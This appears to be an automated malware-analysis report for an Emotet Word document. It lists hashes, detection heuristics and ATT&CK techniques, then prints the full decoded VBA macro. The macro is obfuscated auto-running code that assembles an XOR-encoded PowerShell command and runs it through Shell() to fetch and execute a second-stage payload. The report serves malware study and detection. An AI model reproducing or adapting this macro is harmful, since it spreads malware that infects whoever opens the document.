Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f0e56c2957e35958…

MALICIOUS

Office (OLE)

104.2 KB Created: 2018-06-19 21:44:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: be90e825980b3d17551fa7cd67f031e7 SHA-1: 412a5d13e4bb1c74f77dabb9530f212633a8b071 SHA-256: f0e56c2957e35958ecf4da7fadf186142254f19420ef09233586e22b6f3778eb
212 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Word document containing a VBA macro. The macro uses string concatenation to obfuscate a call to PowerShell, which is then used to download and execute a second-stage payload. The ClamAV signature 'Doc.Downloader.Emotet-6899210-0' strongly suggests the Emotet family.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6899210-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6899210-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    zwYVa = CByte(AWCUdF)
bkXzfUzsfwX = jlUIQOim + Shell(uUJMLRBbJB + dWKzlE + hzFdw, 56166 - 56166)
LiBiH = CDate(ViWht + Sin(14773 + 33198) * 37659 * CInt(78049))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13839 bytes
SHA-256: 6e37179342f086f1b8edd23e0d1a4c7a799c42c542dcbe043d38fc997aef4dee
Detection
ClamAV: No threats found
Obfuscation or payload: likely
179 of 295 identifiers look randomly generated (e.g. 'bkXzfUzsfwX'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RoMHGGjsjz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hYQUEWvtppa"
Function YnwvsjHluT()
On Error Resume Next
iNYqHV = CDate(51976)
jzwFD = 44994
ZRqzm = swurLw
zRnFd = CByte(GsnHb)
UDqVX = 49459
JaSzh = CDate(EzfvON + Sin(15928 + 60751) * 66996 * CInt(73183))
QStTbE = "OwerSHel" + "l  ( [CHA" + "R[" + "]](1" + "1 " + ",98 , 122 ,91 " + ",90 ,76,15 ,1" + "8 , 15,65 ,74 " + ", 88, 2 ," + "64, 77 , 6"
mDsBR = CDate(22660)
Hvjdw = 60671
hJbBvL = jpZllj
NiCiml = CByte(EkVWha)
oXjBIN = 85224
RCbLm = CDate(BioqY + Sin(401 + 98743) * 66004 * CInt(23580))
KlEoNu = "9 ,7" + "4,7" + "6, 91 , " + "15,93 ,78," + " 65 " + ", " + "75, 64,"
NiQCj = CDate(67347)
PTPvUO = 10599
SwPFW = pMfwm
hbUaNL = CByte(qJTGSv)
SzVfVv = 58931
TVmjOO = CDate(FWZPF + Sin(68006 + 14758) * 96271 * CInt(32465))
MUvvlZJJ = "66, 20 ," + " 1" + "1 ,104,93" + ", 118 , 10" + "0, 124, 95 , 15" + " ,18 ,15" + " , 65, 74, 88 " + ",2"
jRXOG = CDate(10883)
VhpqD = 93772
WdKjjc = RtlZQf
NLOPNE = CByte(jTXzLw)
tzzikn = 89742
JOtsi = CDate(SzhUi + Sin(29446 + 98581) * 99459 * CInt(38161))
OEsbQt = " ,64 , 77 " + ",69, " + "74, 76, 91 " + ", 1" + "5 , 124" + " ,86 ,92 ,91" + ", 74" + ", " + "66 , 1 , 97,7" + "4,9"
cwwsC = CDate(37147)
tPQPDM = 42161
oFBwJl = SVVisY
OwzUP = CByte(AkvWUh)
WimRk = 73274
wBaJw = CDate(NzwYR + Sin(92025 + 80746) * 88408 * CInt(5585))
MQThdmKo = "1 ," + " 1 ,120,74,77 ," + "108 ,67" + " , 70 ,74, 65" + ", "
bsVbQi = CDate(3955)
VsCtR = 65512
aGOuB = wOAwzz
rYZAI = CByte(BWNNQH)
XsVAmX = 9433
aqqbAh = CDate(bIzON + Sin(95043 + 56369) * 12551 * CInt(35788))
LjGflPVhUK = "91 ,20, " + "11" + " , 100 ,103" + ",89 ,88,88,15 ," + "18 ,15 " + ",8, 71,91, " + "91, " + "95, 21, 0,0 ," + "88, 88 "
tNzlJb = CDate(67846)
iTVki = 67724
wVfUP = sipLI
upwlC = CByte(qYnkZ)
YHFruE = 28004
WKDMYj = CDate(SAWzzb + Sin(90639 + 38768) * 21562 * CInt(96394))
ivGsdXUj = ",88 , 1," + " 77 ,74, 76 ," + " 68 ,66 , 78, 6" + "5 " + ", 65 ,1,76" + " , 64,6"
qunJj = CDate(76754)
OqdEz = 64551
UjnoH = cnqRXZ
bYwton = CByte(iNwCvv)
lNTFYX = 32918
bqQkZM = CDate(dQHww + Sin(46235 + 31323) * 19115 * CInt(81661))
wANRwOV = "6,1, 91," + "93" + " ,0," + "75," + " 122,31," + "25 , 119,1"
YnwvsjHluT = QStTbE + KlEoNu + MUvvlZJJ + OEsbQt + MQThdmKo + LjGflPVhUK + ivGsdXUj + wANRwOV
End Function
Function EIwhzMp()
On Error Resume Next
nziud = CDate(8041)
jSzzwz = 54881
NqVwY = cLfdvL
zXDjD = CByte(pAAsU)
IObvBz = 83523
sGUTQc = CDate(JFFrn + Sin(18693 + 90484) * 44451 * CInt(81097))
PuKtzifSKTY = "03," + " 25 , 78, 0 ," + " 11" + "1 ,71,91,91 ,9" + "5 , 21 ,0 , 0, " + "88" + " ,88 ,88,1"
sIlzM = CDate(96390)
CEjNKW = 68064
UUiEQ = fOzfij
FKJQH = CByte(jmiAT)
nDvLj = 90526
YZpJw = CDate(NQamZ + Sin(71046 + 79138) * 89944 * CInt(36859))
qjkCDiF = " ,76, 64 " + ",76" + ", " + "68"
bKRpdV = CDate(46048)
CPdiRS = 86260
KtlaB = Bwpoq
IPiVZB = CByte(ihuIZ)
AMstw = 12975
qXiYjq = CDate(HmKSs + Sin(61968 + 11310) * 67553 * CInt(804))
RlNIf = ", 91,78, 70" + " ," + "67 " + ",64 ,93, " + "92,1 ," + " 75, 74," + "0 ,87 , 3" + "1 , 117" + ", 97 , 6"
buCdLj = CDate(89966)
TLLoB = 44008
iZwAw = cpWVv
jNVbQd = CByte(cmHpD)
zpKwXv = 68226
JOnqAP = CDate(ioCFk + Sin(21674 + 30518) * 52941 * CInt(35752))
GYzWlHOiSwK = "5,96, 10" + "8, 10" + "5,0, 111 ," + " 71 ,91, 9" + "1, 95 , 21, 0" + " ,0," + "88 , 88," + "88, 1,7" + "6, 64,65,9"
EIwhzMp = PuKtzifSKTY + qjkCDiF + RlNIf + GYzWlHOiSwK
End Function
Function fAFNHcFzUuo()
On Error Resume Next
LAiuZ = CDate(50173)
lTZTcN = 80647
JcYFi = qMJuW
jSSMS = CByte(OhKwoN)
hlQNwt = 94757
rtvKs = CDate(kdOLzH + Sin(98793 + 9203) * 86201 * CInt(43483))
NVXmXwbB = "2 " + ",91, 93,90, 9" + "1, 64" + " , 93 ," + " 78 , 7" + "1,78, " + "77, 9" + "5 , 67, 7" + "8,6" + "5, 1,76"
zjiOs = CDate(56097)
kspGb = 88156
GKibR = BzSKj
AhNASi = CByte(kzCQMs)
HTqzl = 35622
YnXqCz = CDate(qlYULD + Sin(81020 + 60874) * 91814 * CInt(88846))
wdnUQJi = " ,64, 66,1" + " ,77 ,93," + "0,70 ," + "69 , 6" + "6 , 26 ," + "110 ,109, 107"
pFhlG = CDate(56587)
hpUirA = 61491
wUaFWw = YiTKzt
AoPRnn = CByte(mSJzV)
JPiiuL = 56253
bWzOlF = CDate(objnQo + Sin(30014 + 1215) * 18027 * CInt(5826))
jzBDiXc = ",66 ," + "0," + " 111 , 7" + "1 ,91 , 91,95 "
Rdinzi = CDate(98809)
WzhASd = 52737
iYbwi = PSIlsj
ovisKI = CByte(WzAkN)
CWKmVj = 63587
WSCMNR = CDate(ukbzr + Sin(67242 + 58901) * 28688 * CInt(37475))
cciANvKm = ", 2" + "1 , 0 ,0, " + "88 ,88 ,88 " + ", 1, 78 , 65" + " , 75,93 ,64 , "
uFjLOl = CDate(9612)
wMdUm = 24565
dWMBnJ = aBolq
rmOKm = CByte(JYzsb)
wrKbOZ = 74000
JiMls = CDate(ihQWP + Sin(32467 + 56468) * 92573 * CInt(32223))
mrnibLzifvs = "67, " + "70,65,74 , 1 ," + " 91 " + ",64 ,95 ,"
imkDi = CDate(83943)
OjuFpQ = 82722
fnBdRU = RZMio
acLJw = CByte(hhsYDM)
adSSm = 54183
RKlwr = CDate(HYADuP + Sin(22031 + 3178) * 56692 * CInt(94784))
VVjpZzpiw = "0 " + ", 67 ,87 , 65" + " , 71 , 78" + ",94 ," + "107 , 0 ,111 ," + " 7" + "1, 9" + "1 ,91, 95,21" + ",0, 0,"
fSWdjH = CDate(78300)
azUTv = 74667
zzqoEM = aJjArD
oBwBou = CByte(upsAp)
SOhJh = 77687
UFLNG = CDate(MYUUjj + Sin(50155 + 55835) * 45754 * CInt(26883))
mGUzrzRRuHO = "88,88 , 88" + " , 1 ,72, 93" + " ,78,7" + "0, 65 ,74 , 7" + "5 ,74 " + ", 7" + "7, 70, 92 ,6" + "4,65, 1,76, 64" + ",66"
fAFNHcFzUuo = NVXmXwbB + wdnUQJi + jzBDiXc + cciANvKm + mrnibLzifvs + VVjpZzpiw + mGUzrzRRuHO
End Function
Function GLcjEbjo()
On Error Resume Next
wsMjQv = CDate(17108)
EdIbBs = 34771
pSBwD = QBmaw
HCuIA = CByte(IwVPtW)
iSLWVY = 33185
FJcbpR = CDate(iSjoXS + Sin(5458 + 63629) * 10813 * CInt(67584))
bzcEJEsv = ", 0,31 ,70,117 " + ",12" + "4 , 117 ,108," + " 105, 65,1" + "21 " + ",0 , 8, 1 ,124 "
oiGfd = CDate(58172)
nZCui = 57858
PrrsXR = tmrWWo
UtLHzM = CByte(qfHFa)
KTbTDj = 9802
PqBon = CDate(sVrhv + Sin(44319 + 94452) * 34148 * CInt(63285))
sJjDtVum = ", 95,67,7" + "0,91, 7 " + ", 8, 111" + ",8 ," + "6,20,11 "
BviWh = CDate(42253)
zCdDp = 27236
CdzoQ = lkkVY
ictHm = CByte(olmnzt)
WTwTkz = 95142
VUCiCA = CDate(XvYnSz + Sin(65982 + 7715) * 28859 * CInt(57220))
iNWIdW = ",71,71," + "70 ," + " 123, 12" + "2 " + ",1"
wzSQX = CDate(99714)
bQLmP = 81003
XrQqX = IIJdMl
fuZzj = CByte(Gfsvh)
KElwQp = 26174
akpvsp = CDate(TLQiiw + Sin(5230 + 12108) * 11690 * CInt(80146))
SOuXuXNHq = "5 ," + " 18 ,15 ," + " 11,98, 122, 91" + " , 90 " + ", 76 ,1"
njjLG = CDate(48350)
aWTKtu = 72233
VJPcIw = CmLzb
iBprc = CByte(zINkN)
hHrhvO = 25789
CSnQqP = CDate(dQzjuI + Sin(45827 + 92564) * 51364 * CInt(15699))
dnjWYYq = ", 65 " + ", 74 " + ", " + "87 , 91,7,30,3 " + ",15,25," + "31,23,26 ,24"
dfjoTI = CDate(46286)
oVRQSo = 55645
JpGnk = FXLzGv
frIXX = CByte(QjaKoN)
blbjId = 80094
NCfWot = CDate(ntzUM + Sin(94323 + 12134) * 37301 * CInt(78409))
iSQPOhAaV = " , 28 ,6," + " 20,11" + " , 67" + ", 73 , 12" + "4 " + ",8"
GLcjEbjo = bzcEJEsv + sJjDtVum + iNWIdW + SOuXuXNHq + dnjWYYq + iSQPOhAaV
End Function
Function bzFiPIJVIm()
On Error Resume Next
wdvRr = CDate(97975)
FwbAh = 99495
atEJf = AOpVC
BrXMr = CByte(JTRBdT)
irssj = 20297
zvjni = CDate(CazNu + Sin(6550 + 47250) * 71536 * CInt(43195))
EamlEwSOGlk = "9,9" + "3,15,18 ,15, 1" + "1," + " 74, 65, 89" + " , 21,91" + " ,74,66,95," + "15 , 4 , 15" + " ,8,115 ,8 " + ",15,4,15" + ", 11 ,71,7"
uSwIIA = CDate(41506)
lZWiNV = 33127
aOZva = MsTYL
WDHZuo = CByte(JVXnpf)
GKjif = 66228
muVYP = CDate(JqLYb + Sin(91865 + 59940) * 93559 * CInt(13699))
JfHPthnfh = "1," + " 70,12" + "3, 122 , 15, 4 " + ", 15 , " + "8, 1 " + ", 74," + " 87 ,74 ,8 ,"
ihcErE = CDate(33552)
hHiZZ = 26672
FNjDqc = nuifb
PNkSw = CByte(iiuaa)
EWZMA = 58585
mBsiJ = CDate(tLEpNu + Sin(92816 + 83868) * 94482 * CInt(58862))
PUKmlff = "20 , " + "73,64, 93" + " , 74 , 78 ," + "76,71, 7, "
kuPwO = CDate(69962)
tWDmr = 96780
rvcww = wXiok
Mfiqk = CByte(UlrkCv)
BISRW = 58025
HGLXRj = CDate(hzuOj + Sin(23845 + 43191) * 92486 * CInt(15894))
uOVXUMrUtn = "11,100 ,94, " + "68, 68 , 75 " + ",15, 70 ,65 ,1" + "5 , 11,100 ,1" + "03,89,88 , " + "88,6,84 , 91"
NznuYa = CDate(8362)
QMjYK = 52868
wUuRki = nPFHl
zVVjDo = CByte(wESHqL)
THZBo = 75009
LuVYq = CDate(JSunJH + Sin(36219 + 53861) * 3029 * CInt(89774))
cfjFGH = " , 93" + ",86, 84, 11,104" + ", 9" + "3,11"
VlajC = CDate(64217)
NnEkv = 70515
IswnG = RiMst
hDXlw = CByte(JcFJGb)
iwzpl = 46938
XwXuRa = CDate(GwXEfM + Sin(21778 + 35830) * 68309 * CInt(84381))
iojzETzFw = "8 ,100 ,12" + "4,95 , 1" + ",107 ," + " 64" + " , 88, 65," + "67" + ", 64, 7"
ciNnMa = CDate(19172)
KYqDYn = 424
qsozu = sLuhA
bPDCB = CByte(Qtorkq)
dUYMDi = 65705
bbPhD = CDate(zkjtJ + Sin(46936 + 40013) * 81407 * CInt(37487))
ksuVMbo = "8,75, 105 " + ",70 ,67,74 , 7" + ",11 ,1" + "00,94 , 68" + " ,68 ,75 ,1 ,12" + "3 , 64,124" + ",91 " + ", 93 , 70 ,6" + "5,72 ,7, 6 , 3 "
nWNNa = CDate(14279)
bGDiBw = 41478
OVEbW = LQoDk
aRdmPF = CByte(UlMXLj)
oUzURI = 16804
FAhqj = CDate(WuUfl + Sin(13116 + 87664) * 70262 * CInt(54530))
PkIhHEZ = ", 15 , 11,67,73" + " ,124 , 8" + "9,93 ," + "6 ,20, 124" + " ,91 , 78 , 93 "
noRBcj = CDate(79133)
uHBlGD = 8231
jNQVJI = NVQic
jlEqT = CByte(SwsVf)
vwjlb = 49373
NcDFz = CDate(KISmT + Sin(965 + 94008) * 1901 * CInt(58833))
vNkhoWIXUo = ", " + "91,2," + "127 ,93 " + ", 64,7" + "6 ,7" + "4,92" + ",92, 15,11, 67"
qkjjh = CDate(56883)
YTjHa = 68418
wSscsh = wwmrP
fimKm = CByte(OTTKF)
zsEAJf = 11107
fSOqz = CDate(wkVLUz + Sin(54931 + 10509) * 21730 * CInt(81139))
rrmmkt = ", 73, 124 ,89" + ",93,20 ,77 , 93" + " , 74 ," + " 78, 68 ,20," + "82 ,76" + " , 78, 9" + "1, 76, 7" + "1 , 84 ,88 , " + "93, 70,91,"
bzFiPIJVIm = EamlEwSOGlk + JfHPthnfh + PUKmlff + uOVXUMrUtn + cfjFGH + iojzETzFw + ksuVMbo + PkIhHEZ + vNkhoWIXUo + rrmmkt
End Function
Function kfUKYwoWM()
On Error Resume Next
wuwnEV = CDate(16890)
mLkTwr = 14555
VNnEu = ozUzp
wKcLf = CByte(wkOlvm)
sojqh = 87129
BTVibZ = CDate(HiBvza + Sin(37761 + 71953) * 41777 * CInt(52082))
hZXINhqS = "74, 2 " + ", 71,64, 92" + ",91 ," + "15 ,11 " + ",112, 1,106" + " ,87, 76 ,7" + "4,95 ,9" + "1 "
ErRmPj = CDate(29054)
tUPXD = 11225
kuMpT = SwqbPR
JcIdMr = CByte(vAzYJq)
DUJdfj = 99416
WtOtJ = CDate(DKYKM + Sin(3872 + 79726) * 84786 * CInt(78771))
bCZRqVRo = ", 70, 64,65 ," + "1,9" + "8,74,92 ,92" + " ," + " 78 ,72, 74" + ", 20,82, 82 "
XbPDil = CDate(73175)
zNFqu = 45442
oCPGr = rzRinz
NwomM = CByte(ECUXZ)
PSiwr = 79477
iqwilm = CDate(zRMNz + Sin(58800 + 50170) * 9543 * CInt(3123))
QtZIp = ")|fOreACh{[C" + "HAR] ( $_ " + "-bXoR'0x2" + "f')}" + " ) -joiN''" + "| . " + "( $shELlID[1]+" + "$shElLid[13]"
qEhUDm = CDate(96813)
WqIhwK = 68825
lRlOF = iwGhvc
KcHzW = CByte(AuiWs)
JBacH = 69776
MAsof = CDate(Bsncmz + Sin(13474 + 83026) * 63901 * CInt(40881))
ZHUndR = "+'x')"
kfUKYwoWM = hZXINhqS + bCZRqVRo + QtZIp + ZHUndR
End Function

Function djEsHh()
On Error Resume Next
FhLMao = CDate(PwYLE + Sin(37347 + 56356) * 44909 * CInt(81167))
FiGLhs = suVZr
wNFaw = 37630
ShzmBa = CDate(91608)
oHrAAn = 2123
EAaVw = CByte(ohHwKk)
kZzzs = CDate(Dbphbj + Sin(89433 + 47937) * 38394 * CInt(30453))
PjPha = SQGbi
pskft = 46270
owTfS = CDate(84302)
JYDXR = 17135
zfipK = CByte(nwvoU)
orEBA = CDate(OfdVJ + Sin(98634 + 57285) * 76095 * CInt(97955))
jcKmh = wCCOcV
AHhawa = 54038
fimDY = CDate(15904)
BjmKGi = 94487
TEZwU = CByte(HQlcqJ)
dObZhN = CDate(LIiKU + Sin(12362 + 80031) * 66443 * CInt(68447))
htpbu = SEdNjz
LIZuI = 3675
sBzms = CDate(85282)
YzARb = 73950
Trjjj = CByte(FaOVS)
BuMjj = CDate(sjXfQz + Sin(69182 + 26533) * 6782 * CInt(33546))
ZhkGJW = ZUizvV
zNdCG = 73
UDAnM = CDate(67845)
SwVJLw = 93317
BMXKR = CByte(EwDFjh)
End Function
Function dZCDOTn()
On Error Resume Next
GKzRzw = CDate(pkjwz + Sin(77660 + 43085) * 76023 * CInt(62795))
LIUPQ = hcjQQ
hYOXB = 82714
JunCI = CDate(33417)
dZvVaX = 78484
zvRmKN = CByte(wMsYXH)
jWZWjrirsuf = TQHOv + Chr(Vrsmb + 80 + icwqmQL)
Lkcnf = CDate(NoArz + Sin(12535 + 77429) * 2978 * CInt(15747))
QavmC = OajAkD
umjUYw = 79129
APoQfq = CDate(78391)
TUKRXI = 53973
ZXSqV = CByte(irAwU)
QmPDT = CDate(lQclM + Sin(82545 + 10437) * 52369 * CInt(35765))
lvvuhl = YUTtZ
zrhjEi = 53282
GiTJI = CDate(12706)
fKSBqq = 17448
OCwHkz = CByte(vCAdV)
dZCDOTn = UvQbt + jWZWjrirsuf + YnwvsjHluT + EIwhzMp + fAFNHcFzUuo + GLcjEbjo + bzFiPIJVIm + kfUKYwoWM
HBsqLq = CDate(VjtTA + Sin(71286 + 63397) * 5745 * CInt(36042))
zRiUXh = HwLoJ
EoXIf = 29373
jzQLkd = CDate(87472)
voaOoS = 32917
nQanjh = CByte(MLWfU)
End Function
Function IquUKvjOUjb(dWKzlE)
On Error Resume Next
ccBnko = CDate(ZYdrEr + Sin(74971 + 81990) * 17693 * CInt(85134))
cTcIw = vtMFNn
CnhrdB = 17290
jPiSLd = CDate(80118)
wUrGrf = 56028
UFCwz = CByte(kMPJjT)
JvNHj = CDate(rNpRSD + Sin(62551 + 91268) * 30949 * CInt(62767))
NhCRiW = vQVJja
jCwnA = 21966
rbZMkz = CDate(79066)
lGmqj = 84553
zwYVa = CByte(AWCUdF)
bkXzfUzsfwX = jlUIQOim + Shell(uUJMLRBbJB + dWKzlE + hzFdw, 56166 - 56166)
LiBiH = CDate(ViWht + Sin(14773 + 33198) * 37659 * CInt(78049))
FZzoGj = QwIbz
YVadw = 84175
NMSdi = CDate(62094)
qzIJN = 5675
BLwLs = CByte(WQmzf)
End Function
Sub AutoOpen()
On Error Resume Next
LTiSbM = CDate(clBQQj + Sin(69756 + 45033) * 11804 * CInt(89496))
YjLRp = qQMPto
ALBXZ = 26151
kjznX = CDate(56915)
AdowXp = 88
ssNFYR = CByte(EksIb)
Application.Run wnfifDOck + "IquUKvjOUjb" + cYRinpHjQO, UCvQVvVuhf + dZCDOTn + LiSrHJPRvj
hNwsz = CDate(MMbzFJ + Sin(97991 + 46037) * 63665 * CInt(3466))
krBRP = uTTSNs
XrKmK = 35386
ziiws = CDate(31946)
iMXkTj = 52663
sfNdER = CByte(tmuitb)
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.